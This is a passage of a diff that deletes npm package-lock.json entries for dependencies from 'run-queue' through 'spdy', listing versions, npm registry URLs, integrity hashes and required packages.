-        "is-promise": "^2.1.0"
-      }
-    },
-    "run-queue": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/run-queue/-/run-queue-1.0.3.tgz",
-      "integrity": "sha1-6Eg5bwV9Ij8kOGkkYY4laUFh7Ec=",
-      "requires": {
-        "aproba": "^1.1.1"
-      }
-    },
-    "rxjs": {
-      "version": "6.5.5",
-      "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.5.5.tgz",
-      "integrity": "sha512-WfQI+1gohdf0Dai/Bbmk5L5ItH5tYqm3ki2c5GdWhKjalzjg93N3avFjVStyZZz+A2Em+ZxKH5bNghw9UeylGQ==",
-      "requires": {
-        "tslib": "^1.9.0"
-      }
-    },
-    "safe-buffer": {
-      "version": "5.1.2",
-      "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
-      "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="
-    },
-    "safe-regex": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/safe-regex/-/safe-regex-1.1.0.tgz",
-      "integrity": "sha1-QKNmnzsHfR6UPURinhV91IAjvy4=",
-      "requires": {
-        "ret": "~0.1.10"
-      }
-    },
-    "safer-buffer": {
-      "version": "2.1.2",
-      "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
-      "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="
-    },
-    "sane": {
-      "version": "4.1.0",
-      "resolved": "https://registry.npmjs.org/sane/-/sane-4.1.0.tgz",
-      "integrity": "sha512-hhbzAgTIX8O7SHfp2c8/kREfEn4qO/9q8C9beyY6+tvZ87EpoZ3i1RIEvp27YBswnNbY9mWd6paKVmKbAgLfZA==",
-      "requires": {
-        "@cnakazawa/watch": "^1.0.3",
-        "anymatch": "^2.0.0",
-        "capture-exit": "^2.0.0",
-        "exec-sh": "^0.3.2",
-        "execa": "^1.0.0",
-        "fb-watchman": "^2.0.0",
-        "micromatch": "^3.1.4",
-        "minimist": "^1.1.1",
-        "walker": "~1.0.5"
-      }
-    },
-    "sanitize.css": {
-      "version": "10.0.0",
-      "resolved": "https://registry.npmjs.org/sanitize.css/-/sanitize.css-10.0.0.tgz",
-      "integrity": "sha512-vTxrZz4dX5W86M6oVWVdOVe72ZiPs41Oi7Z6Km4W5Turyz28mrXSJhhEBZoRtzJWIv3833WKVwLSDWWkEfupMg=="
-    },
-    "sass-loader": {
-      "version": "8.0.2",
-      "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-8.0.2.tgz",
-      "integrity": "sha512-7o4dbSK8/Ol2KflEmSco4jTjQoV988bM82P9CZdmo9hR3RLnvNc0ufMNdMrB0caq38JQ/FgF4/7RcbcfKzxoFQ==",
-      "requires": {
-        "clone-deep": "^4.0.1",
-        "loader-utils": "^1.2.3",
-        "neo-async": "^2.6.1",
-        "schema-utils": "^2.6.1",
-        "semver": "^6.3.0"
-      },
-      "dependencies": {
-        "clone-deep": {
-          "version": "4.0.1",
-          "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-4.0.1.tgz",
-          "integrity": "sha512-neHB9xuzh/wk0dIHweyAXv2aPGZIVk3pLMe+/RNzINf17fe0OG96QroktYAUm7SM1PBnzTabaLboqqxDyMU+SQ==",
-          "requires": {
-            "is-plain-object": "^2.0.4",
-            "kind-of": "^6.0.2",
-            "shallow-clone": "^3.0.0"
-          }
-        },
-        "kind-of": {
-          "version": "6.0.3",
-          "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
-          "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="
-        },
-        "shallow-clone": {
-          "version": "3.0.1",
-          "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-3.0.1.tgz",
-          "integrity": "sha512-/6KqX+GVUdqPuPPd2LxDDxzX6CAbjJehAAOKlNpqqUpAqPM6HeL8f+o3a+JsyGjn2lv0WY8UsTgUJjU9Ok55NA==",
-          "requires": {
-            "kind-of": "^6.0.2"
-          }
-        }
-      }
-    },
-    "sax": {
-      "version": "1.2.4",
-      "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.4.tgz",
-      "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw=="
-    },
-    "saxes": {
-      "version": "3.1.11",
-      "resolved": "https://registry.npmjs.org/saxes/-/saxes-3.1.11.tgz",
-      "integrity": "sha512-Ydydq3zC+WYDJK1+gRxRapLIED9PWeSuuS41wqyoRmzvhhh9nc+QQrVMKJYzJFULazeGhzSV0QleN2wD3boh2g==",
-      "requires": {
-        "xmlchars": "^2.1.1"
-      }
-    },
-    "scheduler": {
-      "version": "0.19.1",
-      "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.19.1.tgz",
-      "integrity": "sha512-n/zwRWRYSUj0/3g/otKDRPMh6qv2SYMWNq85IEa8iZyAv8od9zDYpGSnpBEjNgcMNq6Scbu5KfIPxNF72R/2EA==",
-      "requires": {
-        "loose-envify": "^1.1.0",
-        "object-assign": "^4.1.1"
-      }
-    },
-    "schema-utils": {
-      "version": "2.6.5",
-      "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.6.5.tgz",
-      "integrity": "sha512-5KXuwKziQrTVHh8j/Uxz+QUbxkaLW9X/86NBlx/gnKgtsZA2GIVMUn17qWhRFwF8jdYb3Dig5hRO/W5mZqy6SQ==",
-      "requires": {
-        "ajv": "^6.12.0",
-        "ajv-keywords": "^3.4.1"
-      }
-    },
-    "select-hose": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/select-hose/-/select-hose-2.0.0.tgz",
-      "integrity": "sha1-Yl2GWPhlr0Psliv8N2o3NZpJlMo="
-    },
-    "selfsigned": {
-      "version": "1.10.7",
-      "resolved": "https://registry.npmjs.org/selfsigned/-/selfsigned-1.10.7.tgz",
-      "integrity": "sha512-8M3wBCzeWIJnQfl43IKwOmC4H/RAp50S8DF60znzjW5GVqTcSe2vWclt7hmYVPkKPlHWOu5EaWOMZ2Y6W8ZXTA==",
-      "requires": {
-        "node-forge": "0.9.0"
-      }
-    },
-    "semver": {
-      "version": "6.3.0",
-      "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
-      "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
-    },
-    "send": {
-      "version": "0.17.1",
-      "resolved": "https://registry.npmjs.org/send/-/send-0.17.1.tgz",
-      "integrity": "sha512-BsVKsiGcQMFwT8UxypobUKyv7irCNRHk1T0G680vk88yf6LBByGcZJOTJCrTP2xVN6yI+XjPJcNuE3V4fT9sAg==",
-      "requires": {
-        "debug": "2.6.9",
-        "depd": "~1.1.2",
-        "destroy": "~1.0.4",
-        "encodeurl": "~1.0.2",
-        "escape-html": "~1.0.3",
-        "etag": "~1.8.1",
-        "fresh": "0.5.2",
-        "http-errors": "~1.7.2",
-        "mime": "1.6.0",
-        "ms": "2.1.1",
-        "on-finished": "~2.3.0",
-        "range-parser": "~1.2.1",
-        "statuses": "~1.5.0"
-      },
-      "dependencies": {
-        "debug": {
-          "version": "2.6.9",
-          "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
-          "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
-          "requires": {
-            "ms": "2.0.0"
-          },
-          "dependencies": {
-            "ms": {
-              "version": "2.0.0",
-              "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
-              "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
-            }
-          }
-        },
-        "mime": {
-          "version": "1.6.0",
-          "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
-          "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg=="
-        },
-        "ms": {
-          "version": "2.1.1",
-          "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz",
-          "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg=="
-        }
-      }
-    },
-    "serialize-javascript": {
-      "version": "2.1.2",
-      "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-2.1.2.tgz",
-      "integrity": "sha512-rs9OggEUF0V4jUSecXazOYsLfu7OGK2qIn3c7IPBiffz32XniEp/TX9Xmc9LQfK2nQ2QKHvZ2oygKUGU0lG4jQ=="
-    },
-    "serve-index": {
-      "version": "1.9.1",
-      "resolved": "https://registry.npmjs.org/serve-index/-/serve-index-1.9.1.tgz",
-      "integrity": "sha1-03aNabHn2C5c4FD/9bRTvqEqkjk=",
-      "requires": {
-        "accepts": "~1.3.4",
-        "batch": "0.6.1",
-        "debug": "2.6.9",
-        "escape-html": "~1.0.3",
-        "http-errors": "~1.6.2",
-        "mime-types": "~2.1.17",
-        "parseurl": "~1.3.2"
-      },
-      "dependencies": {
-        "debug": {
-          "version": "2.6.9",
-          "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
-          "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
-          "requires": {
-            "ms": "2.0.0"
-          }
-        },
-        "http-errors": {
-          "version": "1.6.3",
-          "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.3.tgz",
-          "integrity": "sha1-i1VoC7S+KDoLW/TqLjhYC+HZMg0=",
-          "requires": {
-            "depd": "~1.1.2",
-            "inherits": "2.0.3",
-            "setprototypeof": "1.1.0",
-            "statuses": ">= 1.4.0 < 2"
-          }
-        },
-        "inherits": {
-          "version": "2.0.3",
-          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
-          "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4="
-        },
-        "ms": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
-          "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
-        },
-        "setprototypeof": {
-          "version": "1.1.0",
-          "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz",
-          "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ=="
-        }
-      }
-    },
-    "serve-static": {
-      "version": "1.14.1",
-      "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.14.1.tgz",
-      "integrity": "sha512-JMrvUwE54emCYWlTI+hGrGv5I8dEwmco/00EvkzIIsR7MqrHonbD9pO2MOfFnpFntl7ecpZs+3mW+XbQZu9QCg==",
-      "requires": {
-        "encodeurl": "~1.0.2",
-        "escape-html": "~1.0.3",
-        "parseurl": "~1.3.3",
-        "send": "0.17.1"
-      }
-    },
-    "set-blocking": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz",
-      "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc="
-    },
-    "set-value": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/set-value/-/set-value-2.0.1.tgz",
-      "integrity": "sha512-JxHc1weCN68wRY0fhCoXpyK55m/XPHafOmK4UWD7m2CI14GMcFypt4w/0+NV5f/ZMby2F6S2wwA7fgynh9gWSw==",
-      "requires": {
-        "extend-shallow": "^2.0.1",
-        "is-extendable": "^0.1.1",
-        "is-plain-object": "^2.0.3",
-        "split-string": "^3.0.1"
-      },
-      "dependencies": {
-        "extend-shallow": {
-          "version": "2.0.1",
-          "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
-          "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
-          "requires": {
-            "is-extendable": "^0.1.0"
-          }
-        }
-      }
-    },
-    "setimmediate": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz",
-      "integrity": "sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU="
-    },
-    "setprototypeof": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.1.tgz",
-      "integrity": "sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw=="
-    },
-    "sha.js": {
-      "version": "2.4.11",
-      "resolved": "https://registry.npmjs.org/sha.js/-/sha.js-2.4.11.tgz",
-      "integrity": "sha512-QMEp5B7cftE7APOjk5Y6xgrbWu+WkLVQwk8JNjZ8nKRciZaByEW6MubieAiToS7+dwvrjGhH8jRXz3MVd0AYqQ==",
-      "requires": {
-        "inherits": "^2.0.1",
-        "safe-buffer": "^5.0.1"
-      }
-    },
-    "shallow-clone": {
-      "version": "0.1.2",
-      "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-0.1.2.tgz",
-      "integrity": "sha1-WQnodLp3EG1zrEFM/sH/yofZcGA=",
-      "requires": {
-        "is-extendable": "^0.1.1",
-        "kind-of": "^2.0.1",
-        "lazy-cache": "^0.2.3",
-        "mixin-object": "^2.0.1"
-      },
-      "dependencies": {
-        "kind-of": {
-          "version": "2.0.1",
-          "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-2.0.1.tgz",
-          "integrity": "sha1-AY7HpM5+OobLkUG+UZ0kyPqpgbU=",
-          "requires": {
-            "is-buffer": "^1.0.2"
-          }
-        },
-        "lazy-cache": {
-          "version": "0.2.7",
-          "resolved": "https://registry.npmjs.org/lazy-cache/-/lazy-cache-0.2.7.tgz",
-          "integrity": "sha1-f+3fLctu23fRHvHRF6tf/fCrG2U="
-        }
-      }
-    },
-    "shebang-command": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-1.2.0.tgz",
-      "integrity": "sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=",
-      "requires": {
-        "shebang-regex": "^1.0.0"
-      }
-    },
-    "shebang-regex": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-1.0.0.tgz",
-      "integrity": "sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM="
-    },
-    "shell-quote": {
-      "version": "1.7.2",
-      "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.7.2.tgz",
-      "integrity": "sha512-mRz/m/JVscCrkMyPqHc/bczi3OQHkLTqXHEFu0zDhK/qfv3UcOA4SVmRCLmos4bhjr9ekVQubj/R7waKapmiQg=="
-    },
-    "shellwords": {
-      "version": "0.1.1",
-      "resolved": "https://registry.npmjs.org/shellwords/-/shellwords-0.1.1.tgz",
-      "integrity": "sha512-vFwSUfQvqybiICwZY5+DAWIPLKsWO31Q91JSKl3UYv+K5c2QRPzn0qzec6QPu1Qc9eHYItiP3NdJqNVqetYAww=="
-    },
-    "side-channel": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.2.tgz",
-      "integrity": "sha512-7rL9YlPHg7Ancea1S96Pa8/QWb4BtXL/TZvS6B8XFetGBeuhAsfmUspK6DokBeZ64+Kj9TCNRD/30pVz1BvQNA==",
-      "requires": {
-        "es-abstract": "^1.17.0-next.1",
-        "object-inspect": "^1.7.0"
-      }
-    },
-    "signal-exit": {
-      "version": "3.0.3",
-      "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.3.tgz",
-      "integrity": "sha512-VUJ49FC8U1OxwZLxIbTTrDvLnf/6TDgxZcK8wxR8zs13xpx7xbG60ndBlhNrFi2EMuFRoeDoJO7wthSLq42EjA=="
-    },
-    "simple-swizzle": {
-      "version": "0.2.2",
-      "resolved": "https://registry.npmjs.org/simple-swizzle/-/simple-swizzle-0.2.2.tgz",
-      "integrity": "sha1-pNprY1/8zMoz9w0Xy5JZLeleVXo=",
-      "requires": {
-        "is-arrayish": "^0.3.1"
-      },
-      "dependencies": {
-        "is-arrayish": {
-          "version": "0.3.2",
-          "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.3.2.tgz",
-          "integrity": "sha512-eVRqCvVlZbuw3GrM63ovNSNAeA1K16kaR/LRY/92w0zxQ5/1YzwblUX652i4Xs9RwAGjW9d9y6X88t8OaAJfWQ=="
-        }
-      }
-    },
-    "sisteransi": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz",
-      "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg=="
-    },
-    "slash": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/slash/-/slash-2.0.0.tgz",
-      "integrity": "sha512-ZYKh3Wh2z1PpEXWr0MpSBZ0V6mZHAQfYevttO11c51CaWjGTaadiKZ+wVt1PbMlDV5qhMFslpZCemhwOK7C89A=="
-    },
-    "slice-ansi": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-2.1.0.tgz",
-      "integrity": "sha512-Qu+VC3EwYLldKa1fCxuuvULvSJOKEgk9pi8dZeCVK7TqBfUNTH4sFkk4joj8afVSfAYgJoSOetjx9QWOJ5mYoQ==",
-      "requires": {
-        "ansi-styles": "^3.2.0",
-        "astral-regex": "^1.0.0",
-        "is-fullwidth-code-point": "^2.0.0"
-      },
-      "dependencies": {
-        "is-fullwidth-code-point": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz",
-          "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8="
-        }
-      }
-    },
-    "snapdragon": {
-      "version": "0.8.2",
-      "resolved": "https://registry.npmjs.org/snapdragon/-/snapdragon-0.8.2.tgz",
-      "integrity": "sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==",
-      "requires": {
-        "base": "^0.11.1",
-        "debug": "^2.2.0",
-        "define-property": "^0.2.5",
-        "extend-shallow": "^2.0.1",
-        "map-cache": "^0.2.2",
-        "source-map": "^0.5.6",
-        "source-map-resolve": "^0.5.0",
-        "use": "^3.1.0"
-      },
-      "dependencies": {
-        "debug": {
-          "version": "2.6.9",
-          "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
-          "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
-          "requires": {
-            "ms": "2.0.0"
-          }
-        },
-        "define-property": {
-          "version": "0.2.5",
-          "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
-          "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
-          "requires": {
-            "is-descriptor": "^0.1.0"
-          }
-        },
-        "extend-shallow": {
-          "version": "2.0.1",
-          "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
-          "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
-          "requires": {
-            "is-extendable": "^0.1.0"
-          }
-        },
-        "ms": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
-          "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
-        },
-        "source-map": {
-          "version": "0.5.7",
-          "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz",
-          "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w="
-        }
-      }
-    },
-    "snapdragon-node": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npmjs.org/snapdragon-node/-/snapdragon-node-2.1.1.tgz",
-      "integrity": "sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==",
-      "requires": {
-        "define-property": "^1.0.0",
-        "isobject": "^3.0.0",
-        "snapdragon-util": "^3.0.1"
-      },
-      "dependencies": {
-        "define-property": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz",
-          "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=",
-          "requires": {
-            "is-descriptor": "^1.0.0"
-          }
-        },
-        "is-accessor-descriptor": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
-          "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
-          "requires": {
-            "kind-of": "^6.0.0"
-          }
-        },
-        "is-data-descriptor": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
-          "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
-          "requires": {
-            "kind-of": "^6.0.0"
-          }
-        },
-        "is-descriptor": {
-          "version": "1.0.2",
-          "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
-          "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
-          "requires": {
-            "is-accessor-descriptor": "^1.0.0",
-            "is-data-descriptor": "^1.0.0",
-            "kind-of": "^6.0.2"
-          }
-        },
-        "kind-of": {
-          "version": "6.0.3",
-          "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
-          "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="
-        }
-      }
-    },
-    "snapdragon-util": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npmjs.org/snapdragon-util/-/snapdragon-util-3.0.1.tgz",
-      "integrity": "sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==",
-      "requires": {
-        "kind-of": "^3.2.0"
-      }
-    },
-    "sockjs": {
-      "version": "0.3.19",
-      "resolved": "https://registry.npmjs.org/sockjs/-/sockjs-0.3.19.tgz",
-      "integrity": "sha512-V48klKZl8T6MzatbLlzzRNhMepEys9Y4oGFpypBFFn1gLI/QQ9HtLLyWJNbPlwGLelOVOEijUbTTJeLLI59jLw==",
-      "requires": {
-        "faye-websocket": "^0.10.0",
-        "uuid": "^3.0.1"
-      }
-    },
-    "sockjs-client": {
-      "version": "1.4.0",
-      "resolved": "https://registry.npmjs.org/sockjs-client/-/sockjs-client-1.4.0.tgz",
-      "integrity": "sha512-5zaLyO8/nri5cua0VtOrFXBPK1jbL4+1cebT/mmKA1E1ZXOvJrII75bPu0l0k843G/+iAbhEqzyKr0w/eCCj7g==",
-      "requires": {
-        "debug": "^3.2.5",
-        "eventsource": "^1.0.7",
-        "faye-websocket": "~0.11.1",
-        "inherits": "^2.0.3",
-        "json3": "^3.3.2",
-        "url-parse": "^1.4.3"
-      },
-      "dependencies": {
-        "debug": {
-          "version": "3.2.6",
-          "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.6.tgz",
-          "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==",
-          "requires": {
-            "ms": "^2.1.1"
-          }
-        },
-        "faye-websocket": {
-          "version": "0.11.3",
-          "resolved": "https://registry.npmjs.org/faye-websocket/-/faye-websocket-0.11.3.tgz",
-          "integrity": "sha512-D2y4bovYpzziGgbHYtGCMjlJM36vAl/y+xUyn1C+FVx8szd1E+86KwVw6XvYSzOP8iMpm1X0I4xJD+QtUb36OA==",
-          "requires": {
-            "websocket-driver": ">=0.5.1"
-          }
-        }
-      }
-    },
-    "sort-keys": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/sort-keys/-/sort-keys-1.1.2.tgz",
-      "integrity": "sha1-RBttTTRnmPG05J6JIK37oOVD+a0=",
-      "requires": {
-        "is-plain-obj": "^1.0.0"
-      }
-    },
-    "source-list-map": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/source-list-map/-/source-list-map-2.0.1.tgz",
-      "integrity": "sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw=="
-    },
-    "source-map": {
-      "version": "0.6.1",
-      "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
-      "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g=="
-    },
-    "source-map-resolve": {
-      "version": "0.5.3",
-      "resolved": "https://registry.npmjs.org/source-map-resolve/-/source-map-resolve-0.5.3.tgz",
-      "integrity": "sha512-Htz+RnsXWk5+P2slx5Jh3Q66vhQj1Cllm0zvnaY98+NFx+Dv2CF/f5O/t8x+KaNdrdIAsruNzoh/KpialbqAnw==",
-      "requires": {
-        "atob": "^2.1.2",
-        "decode-uri-component": "^0.2.0",
-        "resolve-url": "^0.2.1",
-        "source-map-url": "^0.4.0",
-        "urix": "^0.1.0"
-      }
-    },
-    "source-map-support": {
-      "version": "0.5.16",
-      "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.16.tgz",
-      "integrity": "sha512-efyLRJDr68D9hBBNIPWFjhpFzURh+KJykQwvMyW5UiZzYwoF6l4YMMDIJJEyFWxWCqfyxLzz6tSfUFR+kXXsVQ==",
-      "requires": {
-        "buffer-from": "^1.0.0",
-        "source-map": "^0.6.0"
-      }
-    },
-    "source-map-url": {
-      "version": "0.4.0",
-      "resolved": "https://registry.npmjs.org/source-map-url/-/source-map-url-0.4.0.tgz",
-      "integrity": "sha1-PpNdfd1zYxuXZZlW1VEo6HtQhKM="
-    },
-    "spdx-correct": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.1.0.tgz",
-      "integrity": "sha512-lr2EZCctC2BNR7j7WzJ2FpDznxky1sjfxvvYEyzxNyb6lZXHODmEoJeFu4JupYlkfha1KZpJyoqiJ7pgA1qq8Q==",
-      "requires": {
-        "spdx-expression-parse": "^3.0.0",
-        "spdx-license-ids": "^3.0.0"
-      }
-    },
-    "spdx-exceptions": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.2.0.tgz",
-      "integrity": "sha512-2XQACfElKi9SlVb1CYadKDXvoajPgBVPn/gOQLrTvHdElaVhr7ZEbqJaRnJLVNeaI4cMEAgVCeBMKF6MWRDCRA=="
-    },
-    "spdx-expression-parse": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.0.tgz",
-      "integrity": "sha512-Yg6D3XpRD4kkOmTpdgbUiEJFKghJH03fiC1OPll5h/0sO6neh2jqRDVHOQ4o/LMea0tgCkbMgea5ip/e+MkWyg==",
-      "requires": {
-        "spdx-exceptions": "^2.1.0",
-        "spdx-license-ids": "^3.0.0"
-      }
-    },
-    "spdx-license-ids": {
-      "version": "3.0.5",
-      "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.5.tgz",
-      "integrity": "sha512-J+FWzZoynJEXGphVIS+XEh3kFSjZX/1i9gFBaWQcB+/tmpe2qUsSBABpcxqxnAxFdiUFEgAX1bjYGQvIZmoz9Q=="
-    },
-    "spdy": {
-      "version": "4.0.2",
-      "resolved": "https://registry.npmjs.org/spdy/-/spdy-4.0.2.tgz",
-      "integrity": "sha512-r46gZQZQV+Kl9oItvl1JZZqJKGr+oEkB08A6BzkiR7593/7IbtuncXHd2YoYeTsG4157ZssMu9KYvUHLcjcDoA==",
-      "requires": {
-        "debug": "^4.1.0",
-        "handle-thing": "^2.0.0",
-        "http-deceiver": "^1.2.7",
-        "select-hose": "^2.0.0",
-        "spdy-transport": "^3.0.0"
-      }
-    },
